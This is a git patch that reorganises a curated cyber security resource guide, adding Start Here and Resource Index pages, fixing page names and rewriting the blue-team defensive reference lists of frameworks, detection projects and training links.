From abd480682e851e945d555123f247f1a69f86a433 Mon Sep 17 00:00:00 2001 From: Tom Harrison Date: Wed, 27 May 2026 08:07:04 -0400 Subject: [PATCH 1/3] Improve security guide structure and discoverability Refactor the guide into clearer canonical sections, preserve moved resources, and add Start Here/resource index pages so readers can navigate by role and topic. Co-authored-by: Cursor --- README.md | 34 +- SUMMARY.md | 69 +- blue-defense/README.md | 184 +++-- blue-defense/active-defense.md | 4 + blue-defense/blue-toolbox.md | 145 ++-- blue-defense/device-hardening/README.md | 21 +- .../device-hardening/ad-security-checks.md | 9 +- .../windows-hardening-commands.md | 6 + blue-defense/event-and-log-analysis.md | 28 +- blue-defense/event-detection/README.md | 244 +++--- .../detection-use-cases/README.md | 12 +- .../authentication-logon.md | 8 +- .../detection-use-cases/command-line.md | 10 +- .../detection-use-cases.md | 4 +- .../detection-use-cases/dns.md | 10 + .../detection-use-cases/endpoint.md | 24 +- .../general-network-traffic.md | 16 +- .../detection-use-cases/http.md | 18 +- .../detection-use-cases/smtp.md | 16 +- .../user-behavior-monitoring.md | 38 +- .../windows-event-id-logging-list.md | 6 +- blue-defense/event-detection/ids-ips.md | 8 +- .../event-detection/siem-and-enrichment.md | 19 +- blue-defense/event-detection/sysmon.md | 12 +- blue-defense/packet-analysis.md | 26 +- blue-defense/query-languages.md | 63 +- blue-defense/steganography.md | 82 ++ blue-defense/stegonography.md | 77 -- blue-defense/terminology-and-mapping.md | 16 +- blue-defense/threat-hunting.md | 23 +- blue-defense/vulnerability-management..md | 95 --- blue-defense/vulnerability-management.md | 125 +++ cloud.md | 564 ++++++------- code-tools/README.md | 287 +++---- code-tools/bash/README.md | 71 +- code-tools/bash/cli-components.md | 41 +- code-tools/bash/common-commands.md | 22 +- code-tools/bash/heartbleed-vuln-check.md | 383 +-------- code-tools/bash/install-scripts.md | 41 +- code-tools/bash/nmap-diffing.md | 16 +- code-tools/learn-to-code.md | 183 +++-- code-tools/powershell/README.md | 48 +- code-tools/powershell/common-commands.md | 120 +-- code-tools/regex.md | 310 +++---- containers.md | 241 +++--- cyber-intelligence/README.md | 135 ++- cyber-intelligence/intel-feeds-and-sources.md | 661 ++++++--------- cyber-intelligence/osint/README.md | 359 +++----- cyber-intelligence/osint/cyber-search.md | 3 +- cyber-intelligence/osint/dark-web-search.md | 2 +- cyber-intelligence/osint/domain.md | 471 ++++------- .../osint/files-media-breach-paste-code.md | 9 +- cyber-intelligence/osint/ip-address.md | 129 ++- cyber-intelligence/osint/misc-osint.md | 21 +- .../osint/name-phone-gov-record.md | 48 +- .../osint/search-engines/README.md | 9 +- .../google-dorking-cheatsheet.md | 13 +- .../osint/search-engines/goohak.sh-code.md | 8 + .../osint/socmint-social-media.md | 16 +- cyber-intelligence/osint/username-email.md | 17 +- cyber-intelligence/threat-data.md | 586 ++++--------- .../README.md | 529 ++++-------- .../binary-analysis-reverse-engineering.md | 29 +- .../file-analysis.md | 34 +- .../ir-event-log-cheatsheet.md | 4 +- .../linux-dfir-commands.md | 2 + .../macos-dfir-commands.md | 2 + .../malware.md | 20 +- .../memory-forensics/README.md | 15 +- .../memory-forensics/volatility.md | 2 +- .../sandboxing.md | 13 +- .../windows-dfir-check-by-mitre-tactic.md | 32 +- .../windows-dfir-checks.md | 12 +- .../windows-event-logs.md | 46 +- .../windows-process-information.md | 6 +- .../windows-remediation-commands.md | 27 +- .../windows-system-enumeration.md | 8 +- .../yara.md | 4 +- grey-privacy-tor-opsec/README.md | 503 ++++-------- grey-privacy-tor-opsec/pgp-guide.md | 330 +++----- grey-privacy-tor-opsec/tor.md | 133 +-- red-offensive/README.md | 168 ++-- .../exploitation-and-targets/README.md | 45 + .../offensive-frameworks.md | 46 +- .../special-targets.md | 8 +- red-offensive/offensive-toolbox/README.md | 13 +- .../offensive-toolbox/utility-commands.md | 11 +- .../post-exploitation/c2-frameworks.md | 47 +- .../network-attacks-harvesting-mitm.md | 15 +- red-offensive/red-purple-teaming.md | 18 +- red-offensive/scanning-active-recon/README.md | 775 ++++-------------- red-offensive/scanning-active-recon/nmap.md | 17 +- .../scanning-active-recon/recon-frameworks.md | 116 ++- red-offensive/social-engineering.md | 9 +- .../testing-methodology/active-directory.md | 6 +- .../exploit-dev-buffer-overflow.md | 9 +- .../testing-methodology/exploit-research.md | 299 +++---- .../testing-methodology/exploitation.md | 59 +- .../testing-methodology/lateral-movement.md | 7 +- .../testing-methodology/password-attacks.md | 15 +- .../msfvenom-commands.md | 11 + .../post-exploitation/defense-evasion.md | 1 + .../enumeration-and-harvesting.md | 47 +- .../meterpreter-post-auth-runbook.md | 143 ++-- .../post-exploitation/persistence.md | 14 +- red-offensive/wireless-hacking.md | 13 +- resource-index.md | 70 ++ security-logging/README.md | 275 +++---- .../device-discovery-and-asset-inventory.md | 197 +++-- security-logging/how-to-log.md | 119 +-- security-logging/log-source-evaluation.md | 81 +- security-logging/logging-cloud.md | 46 +- .../logging-guide-network-services.md | 330 +++----- .../logging-guide-windows-endpoint-logs.md | 280 +++---- .../logging-user-behavior-monitoring.md | 45 +- start-here.md | 127 +++ training/README.md | 95 ++- training/books-and-reading.md | 24 +- training/ctf-practice.md | 30 +- .../cyber-security-certifications/README.md | 14 +- .../cyber-security-certifications/oscp.md | 16 +- training/practice-lab.md | 4 +- training/the-awesome-lists.md | 25 +- web-app-hacking/README.md | 23 +- .../attacks-and-vulnerabilities/README.md | 44 +- .../broken-authentication.md | 6 +- .../business-logic-flaws.md | 4 +- .../command-injection.md | 6 +- .../attacks-and-vulnerabilities/csrf.md | 8 +- .../http-host-header-attacks.md | 2 +- .../http-request-smuggling.md | 1 - .../insecure-direct-object-reference.md | 4 +- .../owasp-7-xss-cross-site-scripting.md | 4 +- .../sql-injection/README.md | 15 +- .../manual-injection-methodology.md | 9 +- .../sql-injection/sql-methodology.md | 18 +- .../web-cache-poisoning.md | 4 +- .../xxe-xml-external-entity-attacks.md | 2 +- web-app-hacking/burp-suite.md | 14 +- web-app-hacking/scanning-utilities.md | 51 +- web-app-hacking/web-app-testing-frameworks.md | 14 +- web-app-hacking/web-technologies/README.md | 26 +- web-app-hacking/web-technologies/oauth-2.0.md | 22 +- .../ssl-tls-and-certificates.md | 9 +- .../web-application-firewall.md | 10 +- yellow-ai-machine-learning-and-foss.md | 271 ++---- yellow-neteng-sysadmin.md | 255 +++--- 147 files changed, 5377 insertions(+), 7152 deletions(-) create mode 100644 blue-defense/steganography.md delete mode 100644 blue-defense/stegonography.md delete mode 100644 blue-defense/vulnerability-management..md create mode 100644 blue-defense/vulnerability-management.md create mode 100644 red-offensive/exploitation-and-targets/README.md create mode 100644 resource-index.md create mode 100644 start-here.md diff --git a/README.md b/README.md index 6238fb4..68354eb 100644 --- a/README.md +++ b/README.md @@ -1,14 +1,18 @@ -# All of the Best Links and Resources on Cyber Security. +--- +description: Curated cyber security resources for SOC analysts, pentesters, DFIR practitioners, threat intelligence analysts, AppSec teams, and security learners. +--- + +# All of the Best Links and Resources on Cyber Security ![](.gitbook/assets/proxy-image.jpeg) -I'm the s0cm0nkey. I am a security analyst, threat hunter, pentester, researcher, and CTF enthusiast. By day, I run a SOC team and teach cyber security. By night, I play CTFs, hack things, and eat a professional volume of tacos. Ping me any time. I love to talk about all things security. +I'm the s0cm0nkey: a security analyst, threat hunter, pentester, researcher, and CTF enthusiast. By day, I run a SOC team and teach cyber security. By night, I play CTFs, hack things, and eat a professional volume of tacos. Ping me any time. I love to talk about all things security. [https://s0cm0nkey.github.io/](https://s0cm0nkey.github.io/) s0cm0nkey@protonmail.com -@s0cm0nkeysec +@s0cm0nkeysec @s0cm0nkey@infosec.exchange @@ -17,9 +21,27 @@ Check out my online course with Applied Network Defense: Command Line Essentials ### What is this? -There are so many guides for security floating around the internet, it is hard to know where they all are and which ones are worth their salt. I am writing this reference guide by leveraging my true skill in security: _finding other people's hard work_. I am not smart enough or skilled enough to top the creators of these tools or the professionals that have used them twice as long as I have. +There are so many security guides, tools, and writeups floating around the internet that it is hard to know where they all are and which ones are worth your time. I built this reference guide by leaning into my true skill in security: _finding other people's hard work_. + +This is a curated set of resources I have found useful across cyber security: defensive operations, offensive testing, DFIR, cloud, engineering fundamentals, privacy, and training. Each page should give enough context to help you choose the right resource without turning into a textbook. + +## How to use this guide + +If you are new or trying to jump into a specific role, start with the guided paths and resource index: + +{% content-ref url="start-here.md" %} +[start-here.md](start-here.md) +{% endcontent-ref %} + +{% content-ref url="resource-index.md" %} +[resource-index.md](resource-index.md) +{% endcontent-ref %} -What this will be is a collection of the best tools and resources I have been able to find and use for all my endeavors across cyber. With 10,000 different tools and blogs out there, it is hard to tell which has what you need. Hopefully, I can share the results of my trial and error process, and point you in the right direction towards the resource you need. This guide will provide some basic information where it can, and then point the reader to a slew of resources you can use to improve your skills. +* **Red** is for authorized offensive operations, testing methodology, exploitation, and red/purple team resources. +* **Blue** is for defensive operations, detection, hardening, packet analysis, and DFIR. +* **Yellow** is for supporting engineering fundamentals: cloud, containers, logging architecture, code, CLI, networking, sysadmin, and AI/ML. +* **Grey** is for privacy, Tor, PGP, and OPSEC references. +* **Training** is the home for courses, labs, books, CTFs, certifications, and Awesome lists. {% hint style="info" %} Note: These are my personal notes and links curated for public use. The notes and comments are not all of my own. If someone has written something better than I, I will use it and link to their work. I do not claim any copyright or creative content. @@ -35,6 +57,6 @@ Warning: Do not use any of the mentioned tools referenced here for illegal, unet **Other Publications:** -[https://www.deepwatch.com/blog/logging-strategy/](https://www.deepwatch.com/blog/logging-strategy/) +[Logging strategy](https://www.deepwatch.com/blog/logging-strategy/) - also referenced in the Security Logging section. [https://s0cm0nkey.gitbook.io/port-scanner-shootout](https://s0cm0nkey.gitbook.io/port-scanner-shootout) diff --git a/SUMMARY.md b/SUMMARY.md index c2da565..a906c8a 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -1,6 +1,8 @@ # Table of contents * [All of the Best Links and Resources on Cyber Security.](README.md) +* [Start Here](start-here.md) +* [Resource Index](resource-index.md) * [Cyber Intelligence](cyber-intelligence/README.md) * [OSINT](cyber-intelligence/osint/README.md) * [Search Engines](cyber-intelligence/osint/search-engines/README.md) @@ -21,36 +23,12 @@ * [Reconnaissance and Scanning](red-offensive/scanning-active-recon/README.md) * [Recon Frameworks](red-offensive/scanning-active-recon/recon-frameworks.md) * [NMAP](red-offensive/scanning-active-recon/nmap.md) - * [Burp Suite](web-app-hacking/burp-suite.md) - * [Web App Testing Frameworks](web-app-hacking/web-app-testing-frameworks.md) - * [Web App Scanning Utilities](web-app-hacking/scanning-utilities.md) - * [Exploitation and Targets](red-offensive/testing-methodology/exploit-research.md) + * [Exploitation and Targets](red-offensive/exploitation-and-targets/README.md) * [Offensive Frameworks](red-offensive/exploitation-and-targets/offensive-frameworks.md) * [Shells](red-offensive/exploitation-and-targets/shells.md) * [MSFVenom Commands](red-offensive/testing-methodology/payloads-and-obfuscation/msfvenom-commands.md) + * [Vulnerability and Exploit Research](red-offensive/testing-methodology/exploit-research.md) * [Exploitation by Port](red-offensive/testing-methodology/exploitation.md) - * [Web App Vulnerabilities](web-app-hacking/attacks-and-vulnerabilities/README.md) - * [Broken Authentication](web-app-hacking/attacks-and-vulnerabilities/broken-authentication.md) - * [Business Logic Flaws](web-app-hacking/attacks-and-vulnerabilities/business-logic-flaws.md) - * [Clickjacking](web-app-hacking/attacks-and-vulnerabilities/clickjacking.md) - * [Command Injection](web-app-hacking/attacks-and-vulnerabilities/command-injection.md) - * [CSRF](web-app-hacking/attacks-and-vulnerabilities/csrf.md) - * [Deserialization](web-app-hacking/attacks-and-vulnerabilities/deserialization.md) - * [HTTP Host Header Attacks](web-app-hacking/attacks-and-vulnerabilities/http-host-header-attacks.md) - * [HTTP Request Smuggling](web-app-hacking/attacks-and-vulnerabilities/http-request-smuggling.md) - * [Insecure Direct Object Reference](web-app-hacking/attacks-and-vulnerabilities/insecure-direct-object-reference.md) - * [SQL Injection](web-app-hacking/attacks-and-vulnerabilities/sql-injection/README.md) - * [SQL Tips and Tricks](web-app-hacking/attacks-and-vulnerabilities/sql-injection/sql-tips-and-tricks.md) - * [SQL Basics](web-app-hacking/attacks-and-vulnerabilities/sql-injection/sql-methodology.md) - * [Manual Injection Methodology](web-app-hacking/attacks-and-vulnerabilities/sql-injection/manual-injection-methodology.md) - * [Web Cache Poisoning](web-app-hacking/attacks-and-vulnerabilities/web-cache-poisoning.md) - * [Web Sockets](web-app-hacking/attacks-and-vulnerabilities/web-sockets.md) - * [XXE - XML External Entity Attacks](web-app-hacking/attacks-and-vulnerabilities/xxe-xml-external-entity-attacks.md) - * [XSS Cross-Site Scripting](web-app-hacking/attacks-and-vulnerabilities/owasp-7-xss-cross-site-scripting.md) - * [Web Technologies](web-app-hacking/web-technologies/README.md) - * [SSL/TLS and Certificates](web-app-hacking/web-technologies/ssl-tls-and-certificates.md) - * [OAuth 2.0](web-app-hacking/web-technologies/oauth-2.0.md) - * [Web Application Firewall](web-app-hacking/web-technologies/web-application-firewall.md) * [Special Targets](red-offensive/exploitation-and-targets/special-targets.md) * [Exploit Dev/Buffer Overflow](red-offensive/testing-methodology/exploit-dev-buffer-overflow.md) * [Post Exploitation](red-offensive/testing-methodology/post-exploitation/README.md) @@ -66,6 +44,31 @@ * [Lateral Movement](red-offensive/testing-methodology/lateral-movement.md) * [Password Attacks](red-offensive/testing-methodology/password-attacks.md) * [Web App Hacking](web-app-hacking/README.md) + * [Burp Suite](web-app-hacking/burp-suite.md) + * [Web App Testing Frameworks](web-app-hacking/web-app-testing-frameworks.md) + * [Web App Scanning Utilities](web-app-hacking/scanning-utilities.md) + * [Web Technologies](web-app-hacking/web-technologies/README.md) + * [OAuth 2.0](web-app-hacking/web-technologies/oauth-2.0.md) + * [SSL/TLS and Certificates](web-app-hacking/web-technologies/ssl-tls-and-certificates.md) + * [Web Application Firewall](web-app-hacking/web-technologies/web-application-firewall.md) + * [Attacks and Vulnerabilities](web-app-hacking/attacks-and-vulnerabilities/README.md) + * [Broken Authentication](web-app-hacking/attacks-and-vulnerabilities/broken-authentication.md) + * [Business Logic Flaws](web-app-hacking/attacks-and-vulnerabilities/business-logic-flaws.md) + * [Clickjacking](web-app-hacking/attacks-and-vulnerabilities/clickjacking.md) + * [Command Injection](web-app-hacking/attacks-and-vulnerabilities/command-injection.md) + * [CSRF](web-app-hacking/attacks-and-vulnerabilities/csrf.md) + * [Deserialization](web-app-hacking/attacks-and-vulnerabilities/deserialization.md) + * [HTTP Host Header Attacks](web-app-hacking/attacks-and-vulnerabilities/http-host-header-attacks.md) + * [HTTP Request Smuggling](web-app-hacking/attacks-and-vulnerabilities/http-request-smuggling.md) + * [Insecure Direct Object Reference](web-app-hacking/attacks-and-vulnerabilities/insecure-direct-object-reference.md) + * [XSS - Cross Site Scripting](web-app-hacking/attacks-and-vulnerabilities/owasp-7-xss-cross-site-scripting.md) + * [Web Cache Poisoning](web-app-hacking/attacks-and-vulnerabilities/web-cache-poisoning.md) + * [Web Sockets](web-app-hacking/attacks-and-vulnerabilities/web-sockets.md) + * [XXE - XML External Entity Attacks](web-app-hacking/attacks-and-vulnerabilities/xxe-xml-external-entity-attacks.md) + * [SQL Injection](web-app-hacking/attacks-and-vulnerabilities/sql-injection/README.md) + * [SQL Methodology](web-app-hacking/attacks-and-vulnerabilities/sql-injection/sql-methodology.md) + * [Manual Injection Methodology](web-app-hacking/attacks-and-vulnerabilities/sql-injection/manual-injection-methodology.md) + * [SQL Tips and Tricks](web-app-hacking/attacks-and-vulnerabilities/sql-injection/sql-tips-and-tricks.md) * [Red/Purple Teaming](red-offensive/red-purple-teaming.md) * [Physical Security Testing](red-offensive/physical-security-testing.md) * [Wireless Hacking](red-offensive/wireless-hacking.md) @@ -97,9 +100,9 @@ * [Device Auditing and Hardening](blue-defense/device-hardening/README.md) * [Windows Hardening Commands](blue-defense/device-hardening/windows-hardening-commands.md) * [AD Security Checks](blue-defense/device-hardening/ad-security-checks.md) - * [Stegonography](blue-defense/stegonography.md) - * [Asset and Vulnerability Management.](blue-defense/vulnerability-management..md) - * [Blue ToolBox](blue-defense/blue-toolbox.md) + * [Steganography](blue-defense/steganography.md) + * [Asset and Vulnerability Management](blue-defense/vulnerability-management.md) + * [Blue Toolbox](blue-defense/blue-toolbox.md) * [Blue - DFIR: Digital Forensics and Incident Response](dfir-digital-forensics-and-incident-response/README.md) * [Interact with remote machine](dfir-digital-forensics-and-incident-response/interact-with-remote-machine.md) * [Windows System Enumeration](dfir-digital-forensics-and-incident-response/windows-system-enumeration.md) @@ -120,9 +123,9 @@ * [Reverse Engineering](dfir-digital-forensics-and-incident-response/binary-analysis-reverse-engineering.md) * [Yellow - NetEng/SysAdmin](yellow-neteng-sysadmin.md) * [Yellow - Logging and Security Architecture](security-logging/README.md) - * [How create a logging strategy](security-logging/how-to-log.md) + * [How to create a logging strategy](security-logging/how-to-log.md) * [Logging - Network Services](security-logging/logging-guide-network-services.md) - * [Logging - Endpoint Logs](security-logging/logging-guide-windows-endpoint-logs.md) + * [Logging - Endpoint Logs (Windows & Linux)](security-logging/logging-guide-windows-endpoint-logs.md) * [Logging - User Behavior Monitoring](security-logging/logging-user-behavior-monitoring.md) * [Logging - Cloud](security-logging/logging-cloud.md) * [Device Discovery and Asset Monitoring](security-logging/device-discovery-and-asset-inventory.md) @@ -134,9 +137,9 @@ * [CLI Components](code-tools/bash/cli-components.md) * [Common Commands](code-tools/bash/common-commands.md) * [Install Scripts](code-tools/bash/install-scripts.md) - * [NMAP Diffing](code-tools/bash/nmap-diffing.md) + * [Nmap Diffing](code-tools/bash/nmap-diffing.md) * [Heartbleed Vuln Check](code-tools/bash/heartbleed-vuln-check.md) - * [Powershell](code-tools/powershell/README.md) + * [PowerShell](code-tools/powershell/README.md) * [Common Commands](code-tools/powershell/common-commands.md) * [Regex](code-tools/regex.md) * [Learn to Code](code-tools/learn-to-code.md) diff --git a/blue-defense/README.md b/blue-defense/README.md index d0780ad..8d79bf5 100644 --- a/blue-defense/README.md +++ b/blue-defense/README.md @@ -1,116 +1,170 @@ +--- +description: Blue team resources for SOC operations, detection engineering, threat hunting, packet analysis, hardening, and vulnerability management. +--- + # Blue - Defensive Operations -Blue teaming forms the foundation of the cybersecurity industry. While offensive security often attracts more attention in popular culture, defensive operations are what truly protect organizations and users from real-world threats. Defending is a multi-faceted discipline that combines network hardening, environmental visibility, and attack detection—both in real-time and when threats bypass initial defenses. +Blue teaming forms the foundation of the cybersecurity industry. While offensive security often attracts more attention in popular culture, defensive operations are what protect organizations and users from real-world threats. Defending is a multi-faceted discipline that combines hardening, visibility, detection, hunting, response readiness, and continuous improvement. The odds are inherently stacked against defenders. A defender must successfully protect against thousands of attack vectors, while an attacker needs only one successful breach. To develop effective defensive cybersecurity skills, you must begin as a generalist with broad foundational knowledge—an inch deep and a mile wide—to understand where to focus your efforts as you progress. This journey starts with foundational certifications and core terminology, then advances to more complex concepts and specialized expertise. **Remember this key principle:** Understanding how to effectively use a security tool is just as critical as understanding the theory behind it. A SIEM is useless if you cannot perform effective queries. -This section contains comprehensive tools and references for defensive operations. Experiment with the tools, practice in lab environments, and always consult the documentation to deepen your understanding. - -**Career Development:** For those looking to advance their certifications and progress in their careers, consult the [Security Certification Roadmap](https://pauljerimy.com/security-certification-roadmap/) to plan your professional development path. - -## **Blue Team Resources** - -* [Awesome Lists Collection: Security Blue Team](https://github.com/fabacab/awesome-cybersecurity-blueteam) - A curated collection of resources, tools, and references for cybersecurity blue teams. -* [Awesome Lists Collection: Security](https://github.com/sbilly/awesome-security) - A collection of security software, libraries, documents, books, and resources. -* [Awesome Lists Collection: Industrial Control Systems Security](https://github.com/hslatman/awesome-industrial-control-system-security) - A curated list of resources related to Industrial Control System (ICS) security. -* [NIST Cybersecurity Framework (CSF 2.0)](https://www.nist.gov/cyberframework) - Voluntary guidance based on existing standards, guidelines, and practices for organizations to better manage and reduce cybersecurity risk. An excellent starting point for building a security program from the ground up. - * [NIST-to-Tech](https://github.com/mikeprivette/NIST-to-Tech) - Open-source mapping of cybersecurity technologies to the NIST Cybersecurity Framework (CSF) - * [NIST SP 800-37 Rev. 2](https://csrc.nist.gov/pubs/sp/800/37/r2/final) - Risk Management Framework for Information Systems and Organizations: A System Life Cycle Approach for Security and Privacy - * [NIST SP 800-53 Rev. 5](https://csrc.nist.gov/pubs/sp/800/53/r5/upd1/final) - Security and Privacy Controls for Information Systems and Organizations: Comprehensive catalog of security and privacy controls -* [SANS Blue Team Operations](https://wiki.sans.blue/#!index.md) - Comprehensive blue team wiki created and maintained by SANS defensive course instructors. -* [ISECOM](https://www.isecom.org/) - The Institute for Security and Open Methodologies (ISECOM) is an open security research community providing original resources, tools, and certifications in the security field. -* [MITRE ATT&CK Framework](https://attack.mitre.org/) - Globally-accessible knowledge base of adversary tactics and techniques based on real-world observations. Essential framework for threat-informed defense and detection engineering. - * [ATT&CK Navigator](https://mitre-attack.github.io/attack-navigator/) - Web-based tool for annotating and exploring ATT&CK matrices, useful for mapping coverage and planning defense strategies. - * [ATT&CK for ICS](https://attack.mitre.org/ics/) - Knowledge base tailored specifically for Industrial Control System (ICS) environments. -* [MITRE D3FEND](https://d3fend.mitre.org/) - Knowledge graph of cybersecurity countermeasures, providing a complementary defensive perspective to ATT&CK. -* [MITRE CAR](https://car.mitre.org/) - Cyber Analytics Repository: Collection of detection analytics mapped to ATT&CK, providing implementable detection pseudocode and test data. Note: Project has limited recent updates but remains a valuable reference. -* [MITRE Engage](https://engage.mitre.org/) - Framework for planning and discussing adversary engagement operations, including deception and denial activities. -* [Cyber Kill Chain](https://www.lockheedmartin.com/en-us/news/features/history/cyber-kill-chain.html) - Framework for understanding the stages of a cyber attack developed by Lockheed Martin. -* [Diamond Model of Intrusion Analysis](https://apps.dtic.mil/sti/citations/ADA586960) - Framework for analyzing cyber intrusions by exploring the relationships between adversary, capability, infrastructure, and victim. -* [Unified Kill Chain](https://www.unifiedkillchain.com/) - Modern kill chain model that combines Cyber Kill Chain, MITRE ATT&CK, and other frameworks into a comprehensive attack lifecycle. -* [Sigma Rules](https://github.com/SigmaHQ/sigma) - Generic and open signature format for SIEM systems, enabling platform-agnostic sharing and deployment of detection rules across different security tools. -* [YARA Rules](https://virustotal.github.io/yara/) - Pattern matching tool for malware research and detection, used to identify and classify malware samples based on textual or binary patterns. -* [Atomic Red Team](https://github.com/redcanaryco/atomic-red-team) - Library of simple, automatable tests mapped to MITRE ATT&CK for validating security controls and detection capabilities. -* [Detection Engineering Resources](https://github.com/infosecB/awesome-detection-engineering) - Curated collection of resources for building, testing, and improving detection capabilities and engineering practices. -* [NIST SP 800-61 Rev. 2](https://csrc.nist.gov/pubs/sp/800/61/r2/final) - Computer Security Incident Handling Guide: Comprehensive best practices for establishing and executing incident response capabilities. (Rev. 3 in draft as of 2024) -* [SANS Incident Response Process](https://www.sans.org/posters/incident-response-cycle/) - Six-phase incident response methodology: Preparation, Identification, Containment, Eradication, Recovery, and Lessons Learned. -* [CIS Benchmarks](https://www.cisecurity.org/cis-benchmarks/) - Consensus-based configuration guidelines for securely configuring systems and software. -* [OWASP](https://owasp.org/) - Open Web Application Security Project providing free resources, tools, and standards for web application security. - * [OWASP Top 10](https://owasp.org/www-project-top-ten/) - Standard awareness document representing critical security risks to web applications. -* [CIS Controls (v8)](https://www.cisecurity.org/controls/cis-controls-list/) - Set of 18 prioritized safeguards designed to protect organizations from the most common cyber threats. An excellent starting point for implementing or improving your security program. Currently at version 8.1. - * [CIS Controls Guide](https://www.cisecurity.org/controls/) - Official implementation guide and resources for the CIS Controls. -* [Detection Maturity Model](https://ryanstillions.blogspot.com/2014/04/the-dml-model_21.html) - Framework for assessing and advancing the maturity levels of detection capabilities within a security program. -* [Pyramid of Pain](https://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html) - Framework illustrating the relationship between different types of indicators of compromise (IoCs) and the difficulty they create for adversaries when detected and blocked. -* [10 Strategies of a World-Class SOC](https://www.mitre.org/news-insights/publication/10-strategies-world-class-cybersecurity-operations-center) - MITRE's strategic guide to building, maturing, and operating an effective Security Operations Center. -* [CISA Cybersecurity Resources](https://www.cisa.gov/cybersecurity) - U.S. Cybersecurity and Infrastructure Security Agency's collection of alerts, advisories, and best practices for defending critical infrastructure. - * [CISA Known Exploited Vulnerabilities Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) - Authoritative list of vulnerabilities actively exploited in the wild, essential for prioritizing patching efforts. -* [FIRST.org](https://www.first.org/) - Forum of Incident Response and Security Teams: Global organization providing resources, best practices, and collaboration for incident response teams. -* [SANS Reading Room](https://www.sans.org/white-papers/) - Extensive collection of free, peer-reviewed cybersecurity whitepapers covering defensive techniques, tools, and methodologies. -* [Security Onion](https://securityonionsolutions.com/) - Free and open-source Linux distribution for threat hunting, enterprise security monitoring, and log management, bundling multiple defensive tools. -* [Malware Bazaar](https://bazaar.abuse.ch/) - Project from abuse.ch providing malware samples for research and testing detection capabilities. -* [AlienVault OTX](https://otx.alienvault.com/) - Open Threat Exchange: Community-driven threat intelligence platform (now part of AT&T Cybersecurity) for sharing and accessing indicators of compromise and threat data. - -## **Training and Resources** - -**For comprehensive resources including courses, books, capture-the-flag (CTF) competitions, and more, please refer to the Training and Resources section of this guide.** - -### Hands-On Practice Platforms - -* [TryHackMe: Security Operations and Monitoring](https://tryhackme.com/r/path/outline/security-operations-monitoring) - Practical module covering SOC fundamentals and monitoring techniques -* [TryHackMe: Blue Team Learning Path](https://tryhackme.com/r/path/outline/blueteam) - Comprehensive learning path covering defensive security concepts and tools -* [CyberDefenders](https://cyberdefenders.org/) - Blue team CTF platform with hands-on challenges focused on incident response, digital forensics, and threat hunting -* [Blue Team Labs Online](https://blueteamlabs.online/) - Practical, scenario-based training platform for security operations, incident response, and digital forensics -* [LetsDefend](https://letsdefend.io/) - Real-world SOC simulation platform with alerts, artifacts, and SIEM interfaces for practicing incident response -* [Boss of the SOC (BOTS)](https://github.com/splunk/security-content) - Splunk's CTF competition datasets available through their security content repository, excellent for practicing with Splunk and real-world security scenarios +This section focuses on defensive operations: security program foundations, logs and telemetry, event detection, threat hunting, packet analysis, hardening, vulnerability management, active defense, and defensive tooling. Web application testing, offensive reconnaissance, threat intelligence feeds, deep malware analysis, and training catalogs have their own sections. + +## Foundational Defensive References + +These are broad references that help defenders understand programs, controls, adversary behavior, detection strategy, and SOC maturity. + +* [NIST Cybersecurity Framework (CSF 2.0)](https://www.nist.gov/cyberframework) - A practical structure for organizing, measuring, and improving a security program. +* [CIS Controls](https://www.cisecurity.org/controls/) - Prioritized safeguards that help translate defensive goals into implementable controls. +* [CIS Benchmarks](https://www.cisecurity.org/cis-benchmarks/) - Configuration guidance for hardening operating systems, applications, cloud platforms, and network devices. +* [MITRE ATT&CK Framework](https://attack.mitre.org/) - The common language for mapping adversary tactics and techniques to detections, hunts, and coverage gaps. + * [ATT&CK Navigator](https://mitre-attack.github.io/attack-navigator/) - Useful for visualizing defensive coverage and planning improvements. + * [ATT&CK for ICS](https://attack.mitre.org/ics/) - ATT&CK knowledge base for industrial control system environments. +* [MITRE D3FEND](https://d3fend.mitre.org/) - A defensive countermeasure knowledge graph that pairs well with ATT&CK when thinking through controls. +* [MITRE CAR](https://car.mitre.org/) - Detection analytics mapped to ATT&CK. The project has limited recent updates, but remains useful for learning analytic patterns. +* [Sigma Rules](https://github.com/SigmaHQ/sigma) - Platform-agnostic detection rules that can be translated into many SIEM query languages. +* [Atomic Red Team](https://github.com/redcanaryco/atomic-red-team) - Small, ATT&CK-mapped tests for validating whether controls and detections behave as expected. +* [Detection Maturity Model](https://ryanstillions.blogspot.com/2014/04/the-dml-model_21.html) - A model for thinking about how detection capability improves over time. +* [Pyramid of Pain](https://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html) - A useful mental model for understanding which indicators and detections create the most friction for adversaries. +* [10 Strategies of a World-Class SOC](https://www.mitre.org/news-insights/publication/10-strategies-world-class-cybersecurity-operations-center) - MITRE guidance for building and improving security operations. +* [CISA Known Exploited Vulnerabilities Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) - A defender-focused source for prioritizing vulnerabilities that are actively exploited in the wild. + +## Curated Blue Team Collections + +These collections are useful starting points when you need a broader map of blue-team resources. + +* [Awesome Lists Collection: Security Blue Team](https://github.com/fabacab/awesome-cybersecurity-blueteam) - A curated collection of tools, references, and learning resources for blue teams. +* [Awesome Lists Collection: Security](https://github.com/sbilly/awesome-security) - A broad security software, library, document, book, and resource collection. +* [Awesome Lists Collection: Industrial Control Systems Security](https://github.com/hslatman/awesome-industrial-control-system-security) - A curated ICS security resource collection. +* [SANS Blue Team Operations](https://wiki.sans.blue/#!index.md) - A blue-team wiki created and maintained by SANS defensive course instructors. +* [Detection Engineering Resources](https://github.com/infosecB/awesome-detection-engineering) - A curated collection for detection engineering practices, tools, and references. +* [SANS Reading Room](https://www.sans.org/white-papers/) - Free security whitepapers, including many defensive operations and SOC topics. +* [FIRST.org](https://www.first.org/) - Incident response, threat intelligence, and security team collaboration resources. + +For courses, books, certifications, labs, and CTF-style practice, use the Training and Resources section. {% content-ref url="../training/" %} [training](../training/) {% endcontent-ref %} -## Contents +## Blue Defense Capability Map + +Use these pages when you want the detailed tools, workflows, and references for a specific defensive function. + +### Standards, Frameworks, and Benchmarks + +Use this page for ATT&CK, CIS, NIST, kill chains, maturity models, compliance references, and defensive mapping frameworks. {% content-ref url="terminology-and-mapping.md" %} [terminology-and-mapping.md](terminology-and-mapping.md) {% endcontent-ref %} +### Query Languages + +Use this page when you need SIEM, detection, and security query language references. + {% content-ref url="query-languages.md" %} [query-languages.md](query-languages.md) {% endcontent-ref %} +### Event and Log 